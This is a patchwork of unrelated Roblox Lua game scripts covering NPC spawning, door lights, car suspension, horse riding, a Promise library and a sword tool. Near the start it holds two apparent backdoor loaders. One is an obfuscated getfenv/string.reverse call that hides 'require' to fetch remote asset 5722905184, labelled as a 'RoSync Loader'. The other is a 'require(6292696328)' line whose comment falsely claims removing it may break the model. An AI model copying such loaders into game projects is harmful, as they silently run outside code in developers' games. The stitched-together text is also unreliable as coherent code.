wait(70, 180)--time between 70 seconds and 180 seconds your monster or whatever can spawn. you can make this whatever time you want-- game.ReplicatedStorage.YourNPCsName.Parent = game.Workspace wait(13) game.Workspace.YourNPCsName.Parent = game.ReplicatedStorage
--[[ Last synced 7/20/2021 12:07 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- Script made by studio, removing may break model.
require(6292696328)
-- Returns whether or not the player can level up.
function PlayerLeveling:CanLevelUp(Player: Player, Level, XP): boolean return XP.Value >= Level.Value * XPPerLevel end
--!
button = script.Parent Input = script.Parent.Parent.SCREEN function Clear() print("Cleared") Input.Text = "Cleared" script.Parent.Parent.Sound4:play() wait(0.5) Input.Text = "" end button.MouseButton1Click:connect(Clear)
--------RIGHT DOOR --------
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
--[=[ Chains onto an existing Promise and returns a new Promise. :::warning Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first. ::: Return a Promise from the success or failure handler and it will be chained onto. @param successHandler (...: any) -> ...any @param failureHandler? (...: any) -> ...any @return Promise<...any> ]=]
function Promise.prototype:andThen(successHandler, failureHandler) assert( successHandler == nil or type(successHandler) == "function", string.format(ERROR_NON_FUNCTION, "Promise:andThen") ) assert( failureHandler == nil or type(failureHandler) == "function", string.format(ERROR_NON_FUNCTION, "Promise:andThen") ) return self:_andThen(debug.traceback(nil, 2), successHandler, failureHandler) end
--//Shifting//-
if key == "1" then carSeat.Wheels.FR.Spring.Stiffness = 900 carSeat.Wheels.FL.Spring.Stiffness = 900 carSeat.Wheels.RR.Spring.Stiffness = 900 carSeat.Wheels.RL.Spring.Stiffness = 900 carSeat.Wheels.FR.Spring.MinLength = 1.6 carSeat.Wheels.FL.Spring.MinLength = 1.6 carSeat.Wheels.RR.Spring.MinLength = 1.6 carSeat.Wheels.RL.Spring.MinLength = 1.6 car.DriveSeat.Air:Play() wait(0.1) carSeat.Wheels.FR.Spring.Stiffness = 900 carSeat.Wheels.FL.Spring.Stiffness = 900 carSeat.Wheels.RR.Spring.Stiffness = 900 carSeat.Wheels.RL.Spring.Stiffness = 900 carSeat.Wheels.FR.Spring.MinLength = 1.575 carSeat.Wheels.FL.Spring.MinLength = 1.575 carSeat.Wheels.RR.Spring.MinLength = 1.575 carSeat.Wheels.RL.Spring.MinLength = 1.575 wait(0.1) carSeat.Wheels.FR.Spring.Stiffness = 900 carSeat.Wheels.FL.Spring.Stiffness = 900 carSeat.Wheels.RR.Spring.Stiffness = 900 carSeat.Wheels.RL.Spring.Stiffness = 900 carSeat.Wheels.FR.Spring.MinLength = 1.560 carSeat.Wheels.FL.Spring.MinLength = 1.560 carSeat.Wheels.RR.Spring.MinLength = 1.560 carSeat.Wheels.RL.Spring.MinLength = 1.560 wait(0.1) carSeat.Wheels.FR.Spring.Stiffness = 900 carSeat.Wheels.FL.Spring.Stiffness = 900 carSeat.Wheels.RR.Spring.Stiffness = 900 carSeat.Wheels.RL.Spring.Stiffness = 900 carSeat.Wheels.FR.Spring.MinLength = 1.545 carSeat.Wheels.FL.Spring.MinLength = 1.545 carSeat.Wheels.RR.Spring.MinLength = 1.545 carSeat.Wheels.RL.Spring.MinLength = 1.545 car.DriveSeat.Air:Stop() elseif key == "2" then carSeat.Wheels.FR.Spring.Stiffness = 9000 carSeat.Wheels.FL.Spring.Stiffness = 9000 carSeat.Wheels.RR.Spring.Stiffness = 9000 carSeat.Wheels.RL.Spring.Stiffness = 9000 elseif key == "3" then carSeat.Wheels.RR.Spring.Stiffness = 1500 carSeat.Wheels.RL.Spring.Stiffness = 1500 elseif key == "4" then carSeat.Wheels.FR.Spring.Stiffness = 1500 carSeat.Wheels.FL.Spring.Stiffness = 1500 end end)
---------------------------------- -----------CONNECTIONS------------ ----------------------------------
KeyboardConnection = nil JumpConnection = nil FocusConnection = InputService.TextBoxFocused:connect(TextFocus) --always needs to be connected UnfocusConnection = InputService.TextBoxFocusReleased:connect(TextUnfocus) function MakeKeyboardConnections() KeyboardConnection = InputService.InputBegan:connect(Input) end function BreakKeyboardConnections() KeyboardConnection:disconnect() end
--Scripted by DermonDarble
local userInputService = game:GetService("UserInputService") local player = game.Players.LocalPlayer local character = player.Character local humanoid = character.Humanoid local horse = script:WaitForChild("Horse").Value local horsemain = script.Parent.Parent.Parent local sprinting = false local horseGui = script:WaitForChild("HorseGui") horseGui.Parent = player.PlayerGui local rideAnimation = humanoid:LoadAnimation(horse.Animations.Ride) rideAnimation:Play() local movement = Vector3.new(0, 0, 0) userInputService.InputBegan:connect(function(inputObject, gameProcessedEvent) if not gameProcessedEvent then if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then movement = Vector3.new(movement.X, movement.Y, -1) elseif inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then movement = Vector3.new(movement.X, movement.Y, 1) elseif inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then movement = Vector3.new(-1, movement.Y, movement.Z) elseif inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then movement = Vector3.new(1, movement.Y, movement.Z) elseif inputObject.KeyCode == Enum.KeyCode.LeftShift then if horse.Humanoid.WalkSpeed == 45 then horse.Humanoid.WalkSpeed = 16 else horse.Humanoid.WalkSpeed = 45 end elseif inputObject.KeyCode == Enum.KeyCode.Q then local ray = Ray.new(horse.HumanoidRootPart.Position + Vector3.new(0, -4.3, 0), Vector3.new(0, -1, 0)) local hit, position = game.Workspace:FindPartOnRay(ray, horse) if hit and hit.CanCollide then horse.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end elseif inputObject.KeyCode == Enum.KeyCode.Space then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end end end) userInputService.InputEnded:connect(function(inputObject, gameProcessedEvent) if not gameProcessedEvent then if inputObject.KeyCode == Enum.KeyCode.W or inputObject.KeyCode == Enum.KeyCode.Up then if movement.Z < 0 then movement = Vector3.new(movement.X, movement.Y, 0) end elseif inputObject.KeyCode == Enum.KeyCode.S or inputObject.KeyCode == Enum.KeyCode.Down then if movement.Z > 0 then movement = Vector3.new(movement.X, movement.Y, 0) end elseif inputObject.KeyCode == Enum.KeyCode.A or inputObject.KeyCode == Enum.KeyCode.Left then if movement.X < 0 then movement = Vector3.new(0, movement.Y, movement.Z) end elseif inputObject.KeyCode == Enum.KeyCode.D or inputObject.KeyCode == Enum.KeyCode.Right then if movement.X > 0 then movement = Vector3.new(0, movement.Y, movement.Z) end end end end) spawn(function() while horse.Seat.Occupant == humanoid do game:GetService("RunService").RenderStepped:wait() horse.Humanoid:Move(movement, true) end horseGui:Destroy() humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, true) horse.Humanoid:Move(Vector3.new()) rideAnimation:Stop() script:Destroy() end)
--[[Chassis Assembly]]
--Create Steering Axle local arm=Instance.new("Part",v) arm.Name="Arm" arm.Anchored=true arm.CanCollide=false arm.FormFactor=Enum.FormFactor.Custom arm.Size=Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize) arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0) arm.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100) arm.TopSurface=Enum.SurfaceType.Smooth arm.BottomSurface=Enum.SurfaceType.Smooth arm.Transparency=1 --Create Wheel Spindle local base=arm:Clone() base.Parent=v base.Name="Base" base.CFrame=base.CFrame*CFrame.new(0,_Tune.AxleSize,0) base.BottomSurface=Enum.SurfaceType.Hinge --Create Steering Anchor local axle=arm:Clone() axle.Parent=v axle.Name="Axle" axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0) axle.BackSurface=Enum.SurfaceType.Hinge --Create Powered Axle (LuaInt) local axlep=arm:Clone() axlep.Parent=v axlep.Name='AxleP' axlep.CFrame=v.CFrame MakeWeld(axlep,axle) if v.Name=="F" or v.Name=="R" then local axle2=arm:Clone() axle2.Parent=v axle2.Name="Axle" axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0) axle2.BackSurface=Enum.SurfaceType.Hinge MakeWeld(arm,axle2) end --Create Suspension if _Tune.SuspensionEnabled==true then local SuspensionGeometry=v:FindFirstChild("SuspensionGeometry") if SuspensionGeometry then local WeldModel=SuspensionGeometry:FindFirstChild('Weld') if WeldModel then ModelWeld(WeldModel,car.DriveSeat) end MakeWeld(SuspensionGeometry.SpringTop,car.DriveSeat) MakeWeld(SuspensionGeometry.Hub,base) local susparts=SuspensionGeometry:GetDescendants() for _,p in pairs(susparts) do if p:IsA('Part') then if _Tune.CustomSuspensionDensity~=0 then p.CustomPhysicalProperties=PhysicalProperties.new(_Tune.CustomSuspensionDensity,0,0,0,0) else p.CustomPhysicalProperties=PhysicalProperties.new(_Tune.CustomSuspensionDensity,0,0,0,0) p.Massless=true end end end if _Tune.SusVisible==true then for _,p in pairs(susparts) do if p:IsA('Part') then p.Transparency=.5 elseif p:IsA("SpringConstraint") or p:IsA("HingeConstraint") or p:IsA("BallSocketConstraint") then p.Visible=true end end else for _,p in pairs(susparts) do if p:IsA('Part') then p.Transparency=1 elseif p:IsA("SpringConstraint") or p:IsA("HingeConstraint") or p:IsA("BallSocketConstraint") then p.Visible=false end end end local g = Instance.new("BodyGyro",SuspensionGeometry:FindFirstChild('SpringBottom')) g.Name = "Stabilizer" g.MaxTorque = Vector3.new(0,0,1) g.P = 0 sp=SuspensionGeometry:FindFirstChildOfClass('SpringConstraint') sp.LimitsEnabled = true sp.Visible=_Tune.SusVisible sp.Radius=_Tune.SusRadius sp.Thickness=_Tune.SusThickness sp.Color=BrickColor.new(_Tune.SusColor) sp.Coils=_Tune.SusCoilCount if v.Name == "FL" or v.Name=="FR" or v.Name =="F" then g.D = _Tune.FGyroDampening sp.Damping = _Tune.FSusDamping sp.Stiffness = _Tune.FSusStiffness sp.FreeLength = _Tune.FSusLength+_Tune.FPreCompress sp.MaxLength = _Tune.FSusLength+_Tune.FExtensionLim sp.MinLength = _Tune.FSusLength-_Tune.FCompressLim else g.D = _Tune.RGyroDampening sp.Damping = _Tune.RSusDamping sp.Stiffness = _Tune.RSusStiffness sp.FreeLength = _Tune.RSusLength+_Tune.RPreCompress sp.MaxLength = _Tune.RSusLength+_Tune.RExtensionLim sp.MinLength = _Tune.RSusLength-_Tune.RCompressLim end v.Massless=false else local sa=arm:Clone() sa.Parent=v sa.Name="#SA" if v.Name == "FL" or v.Name=="FR" or v.Name =="F" then local aOff = _Tune.FAnchorOffset sa.CFrame=v.CFrame*CFrame.new(_Tune.AxleSize/2,-fDistX,-fDistY)*CFrame.new(aOff[3],aOff[1],-aOff[2])*CFrame.Angles(-math.pi/2,-math.pi/2,0) else local aOff = _Tune.RAnchorOffset sa.CFrame=v.CFrame*CFrame.new(_Tune.AxleSize/2,-rDistX,-rDistY)*CFrame.new(aOff[3],aOff[1],-aOff[2])*CFrame.Angles(-math.pi/2,-math.pi/2,0) end local sb=sa:Clone() sb.Parent=v sb.Name="#SB" sb.CFrame=sa.CFrame*CFrame.new(0,0,_Tune.AxleSize) sb.FrontSurface=Enum.SurfaceType.Hinge local g = Instance.new("BodyGyro",sb) g.Name = "Stabilizer" g.MaxTorque = Vector3.new(0,0,1) g.P = 0 local sf1 = Instance.new("Attachment",sa) sf1.Name = "SAtt" local sf2 = sf1:Clone() sf2.Parent = sb --(Avxnturador) adds spring offset if v.Name == "FL" or v.Name == "FR" or v.Name == "F" then local aOff = _Tune.FSpringOffset if v.Name == "FL" then sf1.Position = Vector3.new(fDistX-fSLX+aOff[1],-fDistY+fSLY+aOff[2],_Tune.AxleSize/2+aOff[3]) sf2.Position = Vector3.new(fDistX+aOff[1],-fDistY+aOff[2],-_Tune.AxleSize/2+aOff[3]) else sf1.Position = Vector3.new(fDistX-fSLX+aOff[1],-fDistY+fSLY+aOff[2],_Tune.AxleSize/2-aOff[3]) sf2.Position = Vector3.new(fDistX+aOff[1],-fDistY+aOff[2],-_Tune.AxleSize/2-aOff[3]) end elseif v.Name == "RL" or v.Name=="RR" or v.Name == "R" then local aOff = _Tune.RSpringOffset if v.Name == "RL" then sf1.Position = Vector3.new(rDistX-rSLX+aOff[1],-rDistY+rSLY+aOff[2],_Tune.AxleSize/2+aOff[3]) sf2.Position = Vector3.new(rDistX+aOff[1],-rDistY+aOff[2],-_Tune.AxleSize/2+aOff[3]) else sf1.Position = Vector3.new(rDistX-rSLX+aOff[1],-rDistY+rSLY+aOff[2],_Tune.AxleSize/2-aOff[3]) sf2.Position = Vector3.new(rDistX+aOff[1],-rDistY+aOff[2],-_Tune.AxleSize/2-aOff[3]) end end sb:MakeJoints() --(LuaInt) there was axle:makejoints here I believe, but the new powered axle manually welds itself so I ditched it local sp = Instance.new("SpringConstraint",v) sp.Name = "Spring" sp.Attachment0 = sf1 sp.Attachment1 = sf2 sp.LimitsEnabled = true sp.Visible=_Tune.SusVisible sp.Radius=_Tune.SusRadius sp.Thickness=_Tune.SusThickness sp.Color=BrickColor.new(_Tune.SusColor) sp.Coils=_Tune.SusCoilCount if v.Name == "FL" or v.Name=="FR" or v.Name =="F" then g.D = _Tune.FGyroDampening sp.Damping = _Tune.FSusDamping sp.Stiffness = _Tune.FSusStiffness sp.FreeLength = _Tune.FSusLength+_Tune.FPreCompress sp.MaxLength = _Tune.FSusLength+_Tune.FExtensionLim sp.MinLength = _Tune.FSusLength-_Tune.FCompressLim else g.D = _Tune.RGyroDampening sp.Damping = _Tune.RSusDamping sp.Stiffness = _Tune.RSusStiffness sp.FreeLength = _Tune.RSusLength+_Tune.RPreCompress sp.MaxLength = _Tune.RSusLength+_Tune.RExtensionLim sp.MinLength = _Tune.RSusLength-_Tune.RCompressLim end MakeWeld(car.DriveSeat,sa) MakeWeld(sb,base) end else MakeWeld(car.DriveSeat,base) end --Lock Rear Steering Axle if _Tune.FWSteer=='Static' or _Tune.FWSteer=='Speed' or _Tune.FWSteer=='Both' then else if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then MakeWeld(base,axle) end end --Weld Assembly if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then MakeWeld(car.DriveSeat,arm) end MakeWeld(arm,axle) arm:MakeJoints() --Weld Miscelaneous Parts if v:FindFirstChild("SuspensionFixed")~=nil then ModelWeld(v.SuspensionFixed,car.DriveSeat) end if v:FindFirstChild("WheelFixed")~=nil then ModelWeld(v.WheelFixed,axle) end if v:FindFirstChild("Fixed")~=nil then ModelWeld(v.Fixed,arm) end --Weld Wheel Parts if v:FindFirstChild("Parts")~=nil then ModelWeld(v.Parts,v) end --Add Steering Gyro if v:FindFirstChild("Steer") then v:FindFirstChild("Steer"):Destroy() end if v.Name=='FR' or v.Name=='FL' or v.Name=='F' then local steer=Instance.new("BodyGyro",arm) steer.Name="Steer" steer.P=_Tune.SteerP steer.D=_Tune.SteerD steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0) steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0) else if (_Tune.FWSteer=='Static' or _Tune.FWSteer=='Speed' or _Tune.FWSteer=='Both') then local steer=Instance.new("BodyGyro",arm) steer.Name="Steer" if _Tune.RSteerP~=nil and _Tune.RSteerD~=nil and _Tune.RSteerMaxTorque~=nil then steer.P=_Tune.RSteerP steer.D=_Tune.RSteerD steer.MaxTorque=Vector3.new(0,_Tune.RSteerMaxTorque,0) else steer.P=_Tune.SteerP steer.D=_Tune.SteerD steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0) end steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0) end end --Add Stabilization Gyro local gyro=Instance.new("BodyGyro",v) gyro.Name="Stabilizer" gyro.MaxTorque=Vector3.new(1,0,1) gyro.P=0 if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then gyro.D=_Tune.FGyroDamp else gyro.D=_Tune.RGyroDamp end --Add Motors (LuaInt) local AV=Instance.new("HingeConstraint",v) AV.ActuatorType='Motor' AV.Attachment0=Instance.new("Attachment",v.AxleP) v.AxleP.Attachment.Name='AA' AV.Attachment1=Instance.new("Attachment",v) v.Attachment.Name='AB' AV.Name="#AV" AV.AngularVelocity=0 AV.MotorMaxTorque=0 local BV=Instance.new("HingeConstraint",v) BV.ActuatorType='Motor' BV.Attachment0=Instance.new("Attachment",v.AxleP) v.AxleP.Attachment.Name='BA' BV.Attachment1=Instance.new("Attachment",v) v.Attachment.Name='BB' BV.Name="#BV" BV.AngularVelocity=0 BV.MotorMaxTorque=_Tune.PBrakeForce for _,c in pairs(v:GetDescendants()) do if c.ClassName=='Attachment' and c.Name~='SAtt' then if c.Parent.Name=='FL' or c.Parent.Name=='RL' or c.Parent.Parent.Name=='FL' or c.Parent.Parent.Name=='RL' then c.Orientation=Vector3.new(0,0,90) end if c.Parent.Name=='F' or c.Parent.Name=='R' or c.Parent.Parent.Name=='F' or c.Parent.Parent.Name=='R' or c.Parent.Name=='FR' or c.Parent.Name=='RR' or c.Parent.Parent.Name=='FR' or c.Parent.Parent.Name=='RR' then c.Orientation=Vector3.new(180,0,90) end end end end
--Ahoj, vím že ze koukaš na tenhle script, tohle je muj první door script. neočekavej že to bude fungovat
local TweenService = game:GetService("TweenService") local Hinge = script.Parent local clickDetector = script.Parent.Parent.MainDoor.ClickDetector local Goal = { CFrame = Hinge.CFrame * CFrame.Angles(0,math.rad(-78),0) } local Goal2 = { CFrame = Hinge.CFrame * CFrame.Angles(0,0,0) } local tweenInfo = TweenInfo.new(1) local doorOpen = TweenService:Create(Hinge, tweenInfo, Goal) local doorClose = TweenService:Create(Hinge, tweenInfo, Goal2) local isOpen = false clickDetector.MouseClick:Connect(function() if isOpen == false then doorOpen:Play() isOpen = true else doorClose:Play() isOpen = false end end)
--CARPLAY VARIABLES--
local handler = car:WaitForChild("CarPlay_Handler") local driveseat = car.DriveSeat local home = script.Parent:WaitForChild("CarPlay"):WaitForChild("Homescreen"):WaitForChild("Apps") local side = script.Parent:WaitForChild("CarPlay").Side local music = script.Parent:WaitForChild("CarPlay").Music local filter = car.DriveSeat:WaitForChild('Filter') local nowplaying = script.Parent:WaitForChild("CarPlay").NowPlaying local songData = script.Parent.CarPlay_Data.NowPlayingData.SongNumber local RecentAppEnabled = true --by default local debounce = false
-- Libraries
local Support = require(Tool:WaitForChild 'SupportLibrary');
--------LEFT DOOR --------
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(1) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(21) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(1)
----------------- --| Functions |-- -----------------
local function MakeSkeleton() Skeleton = InsertService:LoadAsset(SKELETON_ASSET_ID):GetChildren()[1] if Skeleton then local head = Skeleton:FindFirstChild('Head') if head then head.Transparency = 1 end local skeletonScriptClone = SkeletonScript:Clone() skeletonScriptClone.Parent = Skeleton skeletonScriptClone.Disabled = false local creatorTag = Instance.new('ObjectValue') creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats creatorTag.Value = MyPlayer local iconTag = Instance.new('StringValue', creatorTag) iconTag.Name = 'icon' iconTag.Value = Tool.TextureId creatorTag.Parent = Skeleton end end local function SpawnSkeleton(spawnPosition) if Skeleton then -- Hellfire local firePart = Instance.new('Part') firePart.Name = 'Effect' firePart.Transparency = 1 firePart.FormFactor = Enum.FormFactor.Custom firePart.Size = Vector3.new() firePart.Anchored = true firePart.CanCollide = false firePart.CFrame = CFrame.new(spawnPosition - Vector3.new(0, 4, 0)) local fireClone = Fire:Clone() fireClone.Parent = firePart Delay(0.5, function() if fireClone then fireClone.Enabled = false end end) DebrisService:AddItem(firePart, 3) firePart.Parent = Workspace -- Spawn local skeletonClone = Skeleton:Clone() DebrisService:AddItem(skeletonClone, SKELETON_DURATION) skeletonClone.Parent = Workspace skeletonClone:MoveTo(spawnPosition) --NOTE: Model must be in Workspace -- Rise! local torso = skeletonClone:FindFirstChild('Torso') if torso then torso.CFrame = torso.CFrame - Vector3.new(0, 4.5, 0) for i = 0, 4.5, 0.45 do torso.CFrame = torso.CFrame + Vector3.new(0, i, 0) wait(1/30) end end end end local function RaiseSkeletons() if not Skeleton then -- Try again MakeSkeleton() end for theta = -135, -45, 45 do SpawnSkeleton(MyModel.Torso.CFrame:pointToWorldSpace(Vector3.new(math.cos(theta), 0, math.sin(theta)) * SPAWN_RADIUS)) end end
-- Libraries
local Support = require(Libraries:WaitForChild 'SupportLibrary') local Maid = require(Libraries:WaitForChild 'Maid') local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
---[[ Chat Behaviour Settings ]]
module.WindowDraggable = false module.WindowResizable = false module.ShowChannelsBar = false module.GamepadNavigationEnabled = false module.AllowMeCommand = true
--ScanForPoint()
hum.MoveToFinished:connect(function() anims.AntWalk:Stop() if enRoute then enRoute = false end end) local movementCoroutine = coroutine.wrap(function() while true do if target then local sessionLock = lastLock if targetType == "Player" then while target and lastLock == sessionLock do if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude if dist < 7 then
--[=[ @type ServiceType Service | ModuleScript @within ServiceBag ]=]
local ServiceBag = setmetatable({}, BaseObject) ServiceBag.ClassName = "ServiceBag" ServiceBag.__index = ServiceBag
--[[Sword Part Class]]
-- local SwordPart = { Damage = 20, AttackTime = 1, CoolDown = 2, LastSwing = 0, LastHit = 0, Part= nil, Owner = nil,--player object that owns this sword OnHit = nil, OnHitHumanoid = nil, OnAttackReady = nil, OnAttack = nil, SwingSound = nil, HitSound = nil, SwingAnimation = nil, --animation track! ActiveConnections = {}, } do UTIL.MakeClass(SwordPart) function SwordPart.New(npart,nowner) local init= UTIL.DeepCopy(SwordPart) init.Part= npart init.Owner = nowner table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end)) init.OnHit = InternalEvent.New() init.OnHitHumanoid = InternalEvent.New() init.OnAttackReady = InternalEvent.New() init.OnAttack = InternalEvent.New() return init end function SwordPart:SwordTouch(hit) if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end self.OnHit:Fire(hit) local character,humanoid = UTIL.FindCharacterAncestor(hit) if character and character ~= self.Owner.Character then humanoid:TakeDamage(self.Damage) self.OnHitHumanoid:Fire(humanoid,hit) self.LastHit = tick() if self.HitSound then self.HitSound:Play() end end end function SwordPart:DoSwing() if tick()-self.LastSwing<self.AttackTime+self.CoolDown then return end if self.SwingAnimation then self.SwingAnimation:Play() end if self.SwingSound then self.SwingSound:Play() end self.LastSwing = tick() self.OnAttack:Fire() end function SwordPart:Destroy() for _,i in pairs(self.ActiveConnections) do i:disconnect() end end end do local Handle = script.Parent local Tool = Handle.Parent local Player = game.Players.LocalPlayer local Character = UTIL.WaitForValidCharacter(Player) local SwingAni = UTIL.Instantiate"Animation" {AnimationId = "http://www.roblox.com/Asset?ID=89289879"} local HitSound = Handle:WaitForChild('Hit') local SwingSound = Handle:WaitForChild('Swing') local SwingAniTrack local Sword Tool.Equipped:connect(function(mouse) Sword = SwordPart.New(Handle,Player) Sword.Damage = 40 Sword.HitSound = HitSound Sword.SwingSound = SwingSound Character = UTIL.WaitForValidCharacter(Player) local Humanoid = Character:FindFirstChild('Humanoid') SwingAniTrack = Humanoid:LoadAnimation(SwingAni) Sword.SwingAnimation = SwingAniTrack Sword.OnHitHumanoid:Connect(function(humanoid,hit) local myTorso = Character:FindFirstChild('Torso') local torso = humanoid.Parent:FindFirstChild('Torso') if not torso or not myTorso then return end if hit.Name=='Right Arm' or hit.Name=='Left Arm' or hit.Name=='Right Leg' or hit.Name=='Left Leg' then hit:BreakJoints() WeldUtil.WeldBetween(hit, Handle) Delay(1,function() hit:BreakJoints() end ) end end) mouse.Button1Down:connect(function() Sword:DoSwing() end) end) Tool.Unequipped:connect(function() Sword:Destroy() end) end